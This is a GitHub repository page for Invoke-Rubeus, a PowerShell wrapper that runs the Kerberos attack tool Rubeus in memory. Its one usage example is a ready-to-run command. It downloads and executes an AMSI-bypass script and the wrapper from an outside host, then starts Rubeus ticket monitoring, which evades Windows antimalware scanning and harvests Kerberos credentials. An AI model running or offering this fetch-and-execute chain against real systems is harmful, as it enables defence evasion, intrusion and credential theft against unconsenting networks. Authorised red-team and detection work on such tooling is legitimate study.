Skip to content

Powershell Wrapper for Rubeus Version 3.5

cxnturi0n/Invoke-Rubeus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

Invoke-Rubeus

Execute Rubeus in memory from powershell. Created this repo because some commands like monitor and harvest do not seem to work correctly with the original Invoke-Rubeus.ps1.

Usage example with AMSI bypass on latest Windows 11 Home 24H2:

powershell IEX(irm -useb 192.168.0.17/AmsiHWBP.ps1); IEX(irm -useb 192.168.0.17/Invoke-Rubeus.ps1); Invoke-Rubeus 'monitor /interval:10 /nowrap'

About

Powershell Wrapper for Rubeus Version 3.5

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published